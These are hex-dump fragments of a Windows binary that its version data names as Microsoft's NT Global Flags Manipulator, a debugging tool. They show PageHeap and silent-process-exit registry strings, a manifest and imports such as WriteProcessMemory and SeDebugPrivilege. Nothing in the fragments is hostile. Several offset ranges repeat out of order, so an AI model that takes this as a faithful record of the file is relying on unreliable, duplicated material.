0xfb0	65006700690073007400720079002000	e.g.i.s.t.r.y. .
0xfc0	69006e0066006f0072006d0061007400	i.n.f.o.r.m.a.t.
0xfd0	69006f006e0000000000000000000000	i.o.n...........
0xfe0	55006e00610062006c00650020007400	U.n.a.b.l.e. .t.
0xff0	6f002000720065007400720069006500	o. .r.e.t.r.i.e.
0x1000	76006500200072006500670069007300	v.e. .r.e.g.i.s.
0x1010	740072007900200069006e0066006f00	t.r.y. .i.n.f.o.
0x1020	72006d006100740069006f006e000000	r.m.a.t.i.o.n...
0x1030	56006500720069006600690065007200	V.e.r.i.f.i.e.r.
0x1040	46006c00610067007300000000000000	F.l.a.g.s.......
0x1050	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1060	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x1070	65005300740061007200740000000000	e.S.t.a.r.t.....
0x1080	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1090	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x10a0	650045006e0064000000000000000000	e.E.n.d.........
0x10b0	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x10c0	520061006e0064006f006d0050007200	R.a.n.d.o.m.P.r.
0x10d0	6f0062006100620069006c0069007400	o.b.a.b.i.l.i.t.
0x10e0	79000000000000005000610067006500	y.......P.a.g.e.
0x10f0	48006500610070004600610075006c00	H.e.a.p.F.a.u.l.
0x1100	7400500072006f006200610062006900	t.P.r.o.b.a.b.i.
0x1110	6c006900740079000000000000000000	l.i.t.y.........
0x1120	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1130	4600610075006c007400540069006d00	F.a.u.l.t.T.i.m.
0x1140	65004f00750074000000000000000000	e.O.u.t.........
0x1150	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1160	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x1170	53007400610072007400000000000000	S.t.a.r.t.......
0x1180	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1190	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x11a0	45006e00640000005000610067006500	E.n.d...P.a.g.e.
0x11b0	48006500610070005400610072006700	H.e.a.p.T.a.r.g.
0x11c0	6500740044006c006c00730000000000	e.t.D.l.l.s.....
0x11d0	25007800000000002000000000000000	%.x..... .......
0x11e0	52746c5265706f727453696c656e7450	RtlReportSilentP
0x11f0	726f6365737345786974000000000000	rocessExit......
0x1200	6e00740064006c006c002e0064006c00	n.t.d.l.l...d.l.
0x1210	6c000000000000004d006f006e006900	l.......M.o.n.i.
0x1220	74006f007200500072006f0063006500	t.o.r.P.r.o.c.e.
0x1230	73007300000000004c006f0063006100	s.s.....L.o.c.a.
0x1240	6c00440075006d00700046006f006c00	l.D.u.m.p.F.o.l.
0x1250	64006500720000004d00610078004e00	d.e.r...M.a.x.N.
0x1260	75006d006200650072004f0066004400	u.m.b.e.r.O.f.D.
0x1270	75006d007000460069006c0065007300	u.m.p.F.i.l.e.s.
0x1280	0000000000000000440075006d007000	........D.u.m.p.
0x1290	54007900700065000000000000000000	T.y.p.e.........

0xfa0	6f002000730061007600650020007200	o. .s.a.v.e. .r.
0xfb0	65006700690073007400720079002000	e.g.i.s.t.r.y. .
0xfc0	69006e0066006f0072006d0061007400	i.n.f.o.r.m.a.t.
0xfd0	69006f006e0000000000000000000000	i.o.n...........
0xfe0	55006e00610062006c00650020007400	U.n.a.b.l.e. .t.
0xff0	6f002000720065007400720069006500	o. .r.e.t.r.i.e.
0x1000	76006500200072006500670069007300	v.e. .r.e.g.i.s.
0x1010	740072007900200069006e0066006f00	t.r.y. .i.n.f.o.
0x1020	72006d006100740069006f006e000000	r.m.a.t.i.o.n...
0x1030	56006500720069006600690065007200	V.e.r.i.f.i.e.r.
0x1040	46006c00610067007300000000000000	F.l.a.g.s.......
0x1050	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1060	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x1070	65005300740061007200740000000000	e.S.t.a.r.t.....
0x1080	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1090	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x10a0	650045006e0064000000000000000000	e.E.n.d.........
0x10b0	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x10c0	520061006e0064006f006d0050007200	R.a.n.d.o.m.P.r.
0x10d0	6f0062006100620069006c0069007400	o.b.a.b.i.l.i.t.
0x10e0	79000000000000005000610067006500	y.......P.a.g.e.
0x10f0	48006500610070004600610075006c00	H.e.a.p.F.a.u.l.
0x1100	7400500072006f006200610062006900	t.P.r.o.b.a.b.i.
0x1110	6c006900740079000000000000000000	l.i.t.y.........
0x1120	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1130	4600610075006c007400540069006d00	F.a.u.l.t.T.i.m.
0x1140	65004f00750074000000000000000000	e.O.u.t.........
0x1150	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1160	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x1170	53007400610072007400000000000000	S.t.a.r.t.......
0x1180	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1190	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x11a0	45006e00640000005000610067006500	E.n.d...P.a.g.e.
0x11b0	48006500610070005400610072006700	H.e.a.p.T.a.r.g.
0x11c0	6500740044006c006c00730000000000	e.t.D.l.l.s.....
0x11d0	25007800000000002000000000000000	%.x..... .......
0x11e0	52746c5265706f727453696c656e7450	RtlReportSilentP
0x11f0	726f6365737345786974000000000000	rocessExit......
0x1200	6e00740064006c006c002e0064006c00	n.t.d.l.l...d.l.
0x1210	6c000000000000004d006f006e006900	l.......M.o.n.i.
0x1220	74006f007200500072006f0063006500	t.o.r.P.r.o.c.e.
0x1230	73007300000000004c006f0063006100	s.s.....L.o.c.a.
0x1240	6c00440075006d00700046006f006c00	l.D.u.m.p.F.o.l.
0x1250	64006500720000004d00610078004e00	d.e.r...M.a.x.N.
0x1260	75006d006200650072004f0066004400	u.m.b.e.r.O.f.D.
0x1270	75006d007000460069006c0065007300	u.m.p.F.i.l.e.s.
0x1280	0000000000000000440075006d007000	........D.u.m.p.
0x1290	54007900700065000000000000000000	T.y.p.e.........

0x1eab0	6d6963726f736f66742d636f6d3a6173	microsoft-com:as
0x1eac0	6d2e7633223e0d0a09093c7365637572	m.v3">....<secur
0x1ead0	6974793e0d0a0909093c726571756573	ity>.....<reques
0x1eae0	74656450726976696c656765733e0d0a	tedPrivileges>..
0x1eaf0	090909093c7265717565737465644578	....<requestedEx
0x1eb00	65637574696f6e4c6576656c206c6576	ecutionLevel lev
0x1eb10	656c3d2268696768657374417661696c	el="highestAvail
0x1eb20	61626c65222075694163636573733d22	able" uiAccess="
0x1eb30	66616c7365222f3e0d0a0909093c2f72	false"/>.....</r
0x1eb40	657175657374656450726976696c6567	equestedPrivileg
0x1eb50	65733e0d0a09093c2f73656375726974	es>....</securit
0x1eb60	793e0d0a093c2f7472757374496e666f	y>...</trustInfo
0x1eb70	3e0d0a3c2f617373656d626c793e0000	>..</assembly>..
0x1eb80	c000c89000000000350014000f005401	........5.....T.
0x1eb90	2c010000000047006c006f0062006100	,.....G.l.o.b.a.
0x1eba0	6c00200046006c006100670073000000	l. .F.l.a.g.s...
0x1ebb0	080041007200690061006c0000000000	..A.r.i.a.l.....
0x1ebc0	03000150000000000b004a0094000a00	...P......J.....
0x1ebd0	c900ffff8000530074006f0070002000	......S.t.o.p. .
0x1ebe0	6f006e00200065007800630065007000	o.n. .e.x.c.e.p.
0x1ebf0	740069006f006e000000000003000150	t.i.o.n........P
0x1ec00	000000000b00540094000a00ca00ffff	......T.........
0x1ec10	8000530068006f00770020006c006f00	..S.h.o.w. .l.o.
0x1ec20	6100640065007200200073006e006100	a.d.e.r. .s.n.a.
0x1ec30	70007300000000000300015000000000	p.s........P....
0x1ec40	0b005e0094000a00cb00ffff80004400	..^...........D.
0x1ec50	6500620075006700200069006e006900	e.b.u.g. .i.n.i.
0x1ec60	7400690061006c00200063006f006d00	t.i.a.l. .c.o.m.
0x1ec70	6d0061006e0064000000000003000150	m.a.n.d........P
0x1ec80	000000000b00680094000a00cc00ffff	......h.........
0x1ec90	800053	..S

0x3b10	69006e006500000055006e0061006200	i.n.e...U.n.a.b.
0x3b20	6c006500200074006f00200063007200	l.e. .t.o. .c.r.
0x3b30	65006100740065002000700072006f00	e.a.t.e. .p.r.o.
0x3b40	63006500730073000000000000000000	c.e.s.s.........
0x3b50	53006500440065006200750067005000	S.e.D.e.b.u.g.P.
0x3b60	72006900760069006c00650067006500	r.i.v.i.l.e.g.e.
0x3b70	00000000000000004f00550054005000	........O.U.T.P.
0x3b80	550054005f0042005500460046004500	U.T._.B.U.F.F.E.
0x3b90	52005f0043004800450043004b005300	R._.C.H.E.C.K.S.
0x3ba0	0000000000000000500052004f005000	........P.R.O.P.
0x3bb0	410047004100540045005f0053004500	A.G.A.T.E._.S.E.
0x3bc0	5400540049004e004700530000000000	T.T.I.N.G.S.....
0x3bd0	4c004f0043004b005f00430048004500	L.O.C.K._.C.H.E.

0xfa0	6f002000730061007600650020007200	o. .s.a.v.e. .r.
0xfb0	65006700690073007400720079002000	e.g.i.s.t.r.y. .
0xfc0	69006e0066006f0072006d0061007400	i.n.f.o.r.m.a.t.
0xfd0	69006f006e0000000000000000000000	i.o.n...........
0xfe0	55006e00610062006c00650020007400	U.n.a.b.l.e. .t.
0xff0	6f002000720065007400720069006500	o. .r.e.t.r.i.e.
0x1000	76006500200072006500670069007300	v.e. .r.e.g.i.s.
0x1010	740072007900200069006e0066006f00	t.r.y. .i.n.f.o.
0x1020	72006d006100740069006f006e000000	r.m.a.t.i.o.n...
0x1030	56006500720069006600690065007200	V.e.r.i.f.i.e.r.
0x1040	46006c00610067007300000000000000	F.l.a.g.s.......
0x1050	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1060	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x1070	65005300740061007200740000000000	e.S.t.a.r.t.....
0x1080	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1090	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x10a0	650045006e0064000000000000000000	e.E.n.d.........
0x10b0	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x10c0	520061006e0064006f006d0050007200	R.a.n.d.o.m.P.r.
0x10d0	6f0062006100620069006c0069007400	o.b.a.b.i.l.i.t.
0x10e0	79000000000000005000610067006500	y.......P.a.g.e.
0x10f0	48006500610070004600610075006c00	H.e.a.p.F.a.u.l.
0x1100	7400500072006f006200610062006900	t.P.r.o.b.a.b.i.
0x1110	6c006900740079000000000000000000	l.i.t.y.........
0x1120	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1130	4600610075006c007400540069006d00	F.a.u.l.t.T.i.m.
0x1140	65004f00750074000000000000000000	e.O.u.t.........
0x1150	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1160	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x1170	53007400610072007400000000000000	S.t.a.r.t.......
0x1180	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1190	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x11a0	45006e00640000005000610067006500	E.n.d...P.a.g.e.
0x11b0	48006500610070005400610072006700	H.e.a.p.T.a.r.g.
0x11c0	6500740044006c006c00730000000000	e.t.D.l.l.s.....
0x11d0	25007800000000002000000000000000	%.x..... .......
0x11e0	52746c5265706f727453696c656e7450	RtlReportSilentP
0x11f0	726f6365737345786974000000000000	rocessExit......
0x1200	6e00740064006c006c002e0064006c00	n.t.d.l.l...d.l.
0x1210	6c000000000000004d006f006e006900	l.......M.o.n.i.
0x1220	74006f007200500072006f0063006500	t.o.r.P.r.o.c.e.
0x1230	73007300000000004c006f0063006100	s.s.....L.o.c.a.
0x1240	6c00440075006d00700046006f006c00	l.D.u.m.p.F.o.l.
0x1250	64006500720000004d00610078004e00	d.e.r...M.a.x.N.
0x1260	75006d006200650072004f0066004400	u.m.b.e.r.O.f.D.
0x1270	75006d007000460069006c0065007300	u.m.p.F.i.l.e.s.
0x1280	0000000000000000440075006d007000	........D.u.m.p.
0x1290	54007900700065000000000000000000	T.y.p.e.........

0xfa0	6f002000730061007600650020007200	o. .s.a.v.e. .r.
0xfb0	65006700690073007400720079002000	e.g.i.s.t.r.y. .
0xfc0	69006e0066006f0072006d0061007400	i.n.f.o.r.m.a.t.
0xfd0	69006f006e0000000000000000000000	i.o.n...........
0xfe0	55006e00610062006c00650020007400	U.n.a.b.l.e. .t.
0xff0	6f002000720065007400720069006500	o. .r.e.t.r.i.e.
0x1000	76006500200072006500670069007300	v.e. .r.e.g.i.s.
0x1010	740072007900200069006e0066006f00	t.r.y. .i.n.f.o.
0x1020	72006d006100740069006f006e000000	r.m.a.t.i.o.n...
0x1030	56006500720069006600690065007200	V.e.r.i.f.i.e.r.
0x1040	46006c00610067007300000000000000	F.l.a.g.s.......
0x1050	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1060	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x1070	65005300740061007200740000000000	e.S.t.a.r.t.....
0x1080	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1090	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x10a0	650045006e0064000000000000000000	e.E.n.d.........
0x10b0	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x10c0	520061006e0064006f006d0050007200	R.a.n.d.o.m.P.r.
0x10d0	6f0062006100620069006c0069007400	o.b.a.b.i.l.i.t.
0x10e0	79000000000000005000610067006500	y.......P.a.g.e.
0x10f0	48006500610070004600610075006c00	H.e.a.p.F.a.u.l.
0x1100	7400500072006f006200610062006900	t.P.r.o.b.a.b.i.
0x1110	6c006900740079000000000000000000	l.i.t.y.........
0x1120	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1130	4600610075006c007400540069006d00	F.a.u.l.t.T.i.m.
0x1140	65004f00750074000000000000000000	e.O.u.t.........
0x1150	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1160	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x1170	53007400610072007400000000000000	S.t.a.r.t.......
0x1180	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1190	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x11a0	45006e00640000005000610067006500	E.n.d...P.a.g.e.
0x11b0	48006500610070005400610072006700	H.e.a.p.T.a.r.g.
0x11c0	6500740044006c006c00730000000000	e.t.D.l.l.s.....
0x11d0	25007800000000002000000000000000	%.x..... .......
0x11e0	52746c5265706f727453696c656e7450	RtlReportSilentP
0x11f0	726f6365737345786974000000000000	rocessExit......
0x1200	6e00740064006c006c002e0064006c00	n.t.d.l.l...d.l.
0x1210	6c000000000000004d006f006e006900	l.......M.o.n.i.
0x1220	74006f007200500072006f0063006500	t.o.r.P.r.o.c.e.
0x1230	73007300000000004c006f0063006100	s.s.....L.o.c.a.
0x1240	6c00440075006d00700046006f006c00	l.D.u.m.p.F.o.l.
0x1250	64006500720000004d00610078004e00	d.e.r...M.a.x.N.
0x1260	75006d006200650072004f0066004400	u.m.b.e.r.O.f.D.
0x1270	75006d007000460069006c0065007300	u.m.p.F.i.l.e.s.
0x1280	0000000000000000440075006d007000	........D.u.m.p.
0x1290	54007900700065000000000000000000	T.y.p.e.........

0x1a4b4	6556616c756557001f0041646a757374	eValueW...Adjust
0x1a4c4	546f6b656e50726976696c6567657300	TokenPrivileges.
0x1a4d4	4f02526567456e756d4b657945785700	O.RegEnumKeyExW.
0x1a4e4	41445641504933322e646c6c00001e02	ADVAPI32.dll....
0x1a4f4	4765744d6f64756c6548616e646c6557	GetModuleHandleW
0x1a504	0000ac0247657456657273696f6e4578	....GetVersionEx
0x1a514	570008024765744c6173744572726f72	W...GetLastError
0x1a524	00004c0247657450726f634164647265	..L.GetProcAddre
0x1a534	737300001f014578697450726f636573	ss....ExitProces
0x1a544	7300a80043726561746550726f636573	s...CreateProces
0x1a554	73570000d30248656170416c6c6f6300	sW....HeapAlloc.
0x1a564	c60147657443757272656e7450726f63	..GetCurrentProc
0x1a574	65737300d70248656170467265650000	ess...HeapFree..
0x1a584	510247657450726f6365737348656170	Q.GetProcessHeap
0x1a594	0000650146726565436f6e736f6c6500	..e.FreeConsole.
0x1a5a4	ce045465726d696e61746550726f6365	..TerminateProce
0x1a5b4	7373000080045365744c617374457272	ss....SetLastErr
0x1a5c4	6f7200005200436c6f736548616e646c	or..R.CloseHandl
0x1a5d4	65003d05577269746550726f63657373	e.=.WriteProcess
0x1a5e4	4d656d6f727900001604526573756d65	Memory....Resume
0x1a5f4	5468726561640000fe04566972747561	Thread....Virtua
0x1a604	6c50726f746563740000c004536c6565	lProtect....Slee
0x1a614	70004b45524e454c33322e646c6c0000	p.KERNEL32.dll..
0x1a624	79035f77637369636d70000009057763	y._wcsicmp....wc
0x1a634	73746f756c0058035f76736e77707269	stoul.X._vsnwpri
0x1a644	6e746600d904746f776c6f7765720000	ntf...towlower..
0x1a654	430466777072696e74660000f3035f77	C.fwprintf...._w
0x1a664	746f69003a0466726565000074046d61	toi.:.free..t.ma
0x1a674	6c6c6f630000	lloc..

0x1a4b4	6556616c756557001f0041646a757374	eValueW...Adjust
0x1a4c4	546f6b656e50726976696c6567657300	TokenPrivileges.
0x1a4d4	4f02526567456e756d4b657945785700	O.RegEnumKeyExW.
0x1a4e4	41445641504933322e646c6c00001e02	ADVAPI32.dll....
0x1a4f4	4765744d6f64756c6548616e646c6557	GetModuleHandleW
0x1a504	0000ac0247657456657273696f6e4578	....GetVersionEx
0x1a514	570008024765744c6173744572726f72	W...GetLastError
0x1a524	00004c0247657450726f634164647265	..L.GetProcAddre
0x1a534	737300001f014578697450726f636573	ss....ExitProces
0x1a544	7300a80043726561746550726f636573	s...CreateProces
0x1a554	73570000d30248656170416c6c6f6300	sW....HeapAlloc.
0x1a564	c60147657443757272656e7450726f63	..GetCurrentProc
0x1a574	65737300d70248656170467265650000	ess...HeapFree..
0x1a584	510247657450726f6365737348656170	Q.GetProcessHeap
0x1a594	0000650146726565436f6e736f6c6500	..e.FreeConsole.
0x1a5a4	ce045465726d696e61746550726f6365	..TerminateProce
0x1a5b4	7373000080045365744c617374457272	ss....SetLastErr
0x1a5c4	6f7200005200436c6f736548616e646c	or..R.CloseHandl
0x1a5d4	65003d05577269746550726f63657373	e.=.WriteProcess
0x1a5e4	4d656d6f727900001604526573756d65	Memory....Resume
0x1a5f4	5468726561640000fe04566972747561	Thread....Virtua
0x1a604	6c50726f746563740000c004536c6565	lProtect....Slee
0x1a614	70004b45524e454c33322e646c6c0000	p.KERNEL32.dll..
0x1a624	79035f77637369636d70000009057763	y._wcsicmp....wc
0x1a634	73746f756c0058035f76736e77707269	stoul.X._vsnwpri
0x1a644	6e746600d904746f776c6f7765720000	ntf...towlower..
0x1a654	430466777072696e74660000f3035f77	C.fwprintf...._w
0x1a664	746f69003a0466726565000074046d61	toi.:.free..t.ma
0x1a674	6c6c6f630000	lloc..

0xfa0	6f002000730061007600650020007200	o. .s.a.v.e. .r.
0xfb0	65006700690073007400720079002000	e.g.i.s.t.r.y. .
0xfc0	69006e0066006f0072006d0061007400	i.n.f.o.r.m.a.t.
0xfd0	69006f006e0000000000000000000000	i.o.n...........
0xfe0	55006e00610062006c00650020007400	U.n.a.b.l.e. .t.
0xff0	6f002000720065007400720069006500	o. .r.e.t.r.i.e.
0x1000	76006500200072006500670069007300	v.e. .r.e.g.i.s.
0x1010	740072007900200069006e0066006f00	t.r.y. .i.n.f.o.
0x1020	72006d006100740069006f006e000000	r.m.a.t.i.o.n...
0x1030	56006500720069006600690065007200	V.e.r.i.f.i.e.r.
0x1040	46006c00610067007300000000000000	F.l.a.g.s.......
0x1050	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1060	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x1070	65005300740061007200740000000000	e.S.t.a.r.t.....
0x1080	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1090	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x10a0	650045006e0064000000000000000000	e.E.n.d.........
0x10b0	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x10c0	520061006e0064006f006d0050007200	R.a.n.d.o.m.P.r.
0x10d0	6f0062006100620069006c0069007400	o.b.a.b.i.l.i.t.
0x10e0	79000000000000005000610067006500	y.......P.a.g.e.
0x10f0	48006500610070004600610075006c00	H.e.a.p.F.a.u.l.
0x1100	7400500072006f006200610062006900	t.P.r.o.b.a.b.i.
0x1110	6c006900740079000000000000000000	l.i.t.y.........
0x1120	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1130	4600610075006c007400540069006d00	F.a.u.l.t.T.i.m.
0x1140	65004f00750074000000000000000000	e.O.u.t.........
0x1150	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1160	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x1170	53007400610072007400000000000000	S.t.a.r.t.......
0x1180	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1190	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x11a0	45006e00640000005000610067006500	E.n.d...P.a.g.e.
0x11b0	48006500610070005400610072006700	H.e.a.p.T.a.r.g.
0x11c0	6500740044006c006c00730000000000	e.t.D.l.l.s.....
0x11d0	25007800000000002000000000000000	%.x..... .......
0x11e0	52746c5265706f727453696c656e7450	RtlReportSilentP
0x11f0	726f6365737345786974000000000000	rocessExit......
0x1200	6e00740064006c006c002e0064006c00	n.t.d.l.l...d.l.
0x1210	6c000000000000004d006f006e006900	l.......M.o.n.i.
0x1220	74006f007200500072006f0063006500	t.o.r.P.r.o.c.e.
0x1230	73007300000000004c006f0063006100	s.s.....L.o.c.a.
0x1240	6c00440075006d00700046006f006c00	l.D.u.m.p.F.o.l.
0x1250	64006500720000004d00610078004e00	d.e.r...M.a.x.N.
0x1260	75006d006200650072004f0066004400	u.m.b.e.r.O.f.D.
0x1270	75006d007000460069006c0065007300	u.m.p.F.i.l.e.s.
0x1280	0000000000000000440075006d007000	........D.u.m.p.
0x1290	54007900700065000000000000000000	T.y.p.e.........

0xfa0	6f002000730061007600650020007200	o. .s.a.v.e. .r.
0xfb0	65006700690073007400720079002000	e.g.i.s.t.r.y. .
0xfc0	69006e0066006f0072006d0061007400	i.n.f.o.r.m.a.t.
0xfd0	69006f006e0000000000000000000000	i.o.n...........
0xfe0	55006e00610062006c00650020007400	U.n.a.b.l.e. .t.
0xff0	6f002000720065007400720069006500	o. .r.e.t.r.i.e.
0x1000	76006500200072006500670069007300	v.e. .r.e.g.i.s.
0x1010	740072007900200069006e0066006f00	t.r.y. .i.n.f.o.
0x1020	72006d006100740069006f006e000000	r.m.a.t.i.o.n...
0x1030	56006500720069006600690065007200	V.e.r.i.f.i.e.r.
0x1040	46006c00610067007300000000000000	F.l.a.g.s.......
0x1050	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1060	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x1070	65005300740061007200740000000000	e.S.t.a.r.t.....
0x1080	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1090	530069007a006500520061006e006700	S.i.z.e.R.a.n.g.
0x10a0	650045006e0064000000000000000000	e.E.n.d.........
0x10b0	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x10c0	520061006e0064006f006d0050007200	R.a.n.d.o.m.P.r.
0x10d0	6f0062006100620069006c0069007400	o.b.a.b.i.l.i.t.
0x10e0	79000000000000005000610067006500	y.......P.a.g.e.
0x10f0	48006500610070004600610075006c00	H.e.a.p.F.a.u.l.
0x1100	7400500072006f006200610062006900	t.P.r.o.b.a.b.i.
0x1110	6c006900740079000000000000000000	l.i.t.y.........
0x1120	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1130	4600610075006c007400540069006d00	F.a.u.l.t.T.i.m.
0x1140	65004f00750074000000000000000000	e.O.u.t.........
0x1150	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1160	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x1170	53007400610072007400000000000000	S.t.a.r.t.......
0x1180	50006100670065004800650061007000	P.a.g.e.H.e.a.p.
0x1190	44006c006c00520061006e0067006500	D.l.l.R.a.n.g.e.
0x11a0	45006e00640000005000610067006500	E.n.d...P.a.g.e.
0x11b0	48006500610070005400610072006700	H.e.a.p.T.a.r.g.
0x11c0	6500740044006c006c00730000000000	e.t.D.l.l.s.....
0x11d0	25007800000000002000000000000000	%.x..... .......
0x11e0	52746c5265706f727453696c656e7450	RtlReportSilentP
0x11f0	726f6365737345786974000000000000	rocessExit......
0x1200	6e00740064006c006c002e0064006c00	n.t.d.l.l...d.l.
0x1210	6c000000000000004d006f006e006900	l.......M.o.n.i.
0x1220	74006f007200500072006f0063006500	t.o.r.P.r.o.c.e.
0x1230	73007300000000004c006f0063006100	s.s.....L.o.c.a.
0x1240	6c00440075006d00700046006f006c00	l.D.u.m.p.F.o.l.
0x1250	64006500720000004d00610078004e00	d.e.r...M.a.x.N.
0x1260	75006d006200650072004f0066004400	u.m.b.e.r.O.f.D.
0x1270	75006d007000460069006c0065007300	u.m.p.F.i.l.e.s.
0x1280	0000000000000000440075006d007000	........D.u.m.p.
0x1290	54007900700065000000000000000000	T.y.p.e.........

0x1a4b4	6556616c756557001f0041646a757374	eValueW...Adjust
0x1a4c4	546f6b656e50726976696c6567657300	TokenPrivileges.
0x1a4d4	4f02526567456e756d4b657945785700	O.RegEnumKeyExW.
0x1a4e4	41445641504933322e646c6c00001e02	ADVAPI32.dll....
0x1a4f4	4765744d6f64756c6548616e646c6557	GetModuleHandleW
0x1a504	0000ac0247657456657273696f6e4578	....GetVersionEx
0x1a514	570008024765744c6173744572726f72	W...GetLastError
0x1a524	00004c0247657450726f634164647265	..L.GetProcAddre
0x1a534	737300001f014578697450726f636573	ss....ExitProces
0x1a544	7300a80043726561746550726f636573	s...CreateProces
0x1a554	73570000d30248656170416c6c6f6300	sW....HeapAlloc.
0x1a564	c60147657443757272656e7450726f63	..GetCurrentProc
0x1a574	65737300d70248656170467265650000	ess...HeapFree..
0x1a584	510247657450726f6365737348656170	Q.GetProcessHeap
0x1a594	0000650146726565436f6e736f6c6500	..e.FreeConsole.
0x1a5a4	ce045465726d696e61746550726f6365	..TerminateProce
0x1a5b4	7373000080045365744c617374457272	ss....SetLastErr
0x1a5c4	6f7200005200436c6f736548616e646c	or..R.CloseHandl
0x1a5d4	65003d05577269746550726f63657373	e.=.WriteProcess
0x1a5e4	4d656d6f727900001604526573756d65	Memory....Resume
0x1a5f4	5468726561640000fe04566972747561	Thread....Virtua
0x1a604	6c50726f746563740000c004536c6565	lProtect....Slee
0x1a614	70004b45524e454c33322e646c6c0000	p.KERNEL32.dll..
0x1a624	79035f77637369636d70000009057763	y._wcsicmp....wc
0x1a634	73746f756c0058035f76736e77707269	stoul.X._vsnwpri
0x1a644	6e746600d904746f776c6f7765720000	ntf...towlower..
0x1a654	430466777072696e74660000f3035f77	C.fwprintf...._w
0x1a664	746f69003a0466726565000074046d61	toi.:.free..t.ma
0x1a674	6c6c6f630000	lloc..

Metadata

0x1fbde	74006800200074006800650073006500	t.h. .t.h.e.s.e.
0x1fbee	2000730065007400740069006e006700	.s.e.t.t.i.n.g.
0x1fbfe	73003f00000000000000c80334000000	s.?.........4...
0x1fc0e	560053005f0056004500520053004900	V.S._.V.E.R.S.I.
0x1fc1e	4f004e005f0049004e0046004f000000	O.N._.I.N.F.O...
0x1fc2e	0000bd04effe00000100010006000000	................
0x1fc3e	e21d010006000000e21d3f0000000800	..........?.....
0x1fc4e	00000400040001000000000000000000	................
0x1fc5e	00000000000026030000010053007400	......&.....S.t.
0x1fc6e	720069006e006700460069006c006500	r.i.n.g.F.i.l.e.
0x1fc7e	49006e0066006f000000020300000100	I.n.f.o.........
0x1fc8e	30003400300039003000340042003000	0.4.0.9.0.4.B.0.
0x1fc9e	00004c001600010043006f006d007000	..L.....C.o.m.p.
0x1fcae	61006e0079004e0061006d0065000000	a.n.y.N.a.m.e...
0x1fcbe	00004d006900630072006f0073006f00	..M.i.c.r.o.s.o.
0x1fcce	66007400200043006f00720070006f00	f.t. .C.o.r.p.o.
0x1fcde	72006100740069006f006e0000007600	r.a.t.i.o.n...v.
0x1fcee	27000100460069006c00650044006500	'...F.i.l.e.D.e.
0x1fcfe	73006300720069007000740069006f00	s.c.r.i.p.t.i.o.
0x1fd0e	6e00000000004d006900630072006f00	n.....M.i.c.r.o.
0x1fd1e	73006f0066007400ae0020004e005400	s.o.f.t... .N.T.
0x1fd2e	200047006c006f00620061006c002000	.G.l.o.b.a.l. .
0x1fd3e	46006c0061006700730020004d006100	F.l.a.g.s. .M.a.
0x1fd4e	6e006900700075006c00610074006f00	n.i.p.u.l.a.t.o.
0x1fd5e	72000000000086003300010046006900	r.......3...F.i.
0x1fd6e	6c006500560065007200730069006f00	l.e.V.e.r.s.i.o.
0x1fd7e	6e000000000036002e0031002e003700	n.....6...1...7.
0x1fd8e	3600350030002e003000200028006600	6.5.0...0. .(.f.
0x1fd9e	62006c005f0074006f006f006c007300	b.l._.t.o.o.l.s.
0x1fdae	5f006400650062007500670067006500	_.d.e.b.u.g.g.e.
0x1fdbe	7200280077006d0062006c0061002900	r.(.w.m.b.l.a.).
0x1fdce	2e003100300030003200300031002d00	..1.0.0.2.0.1.-.
0x1fdde	31003200310031002900000000003600	1.2.1.1.).....6.
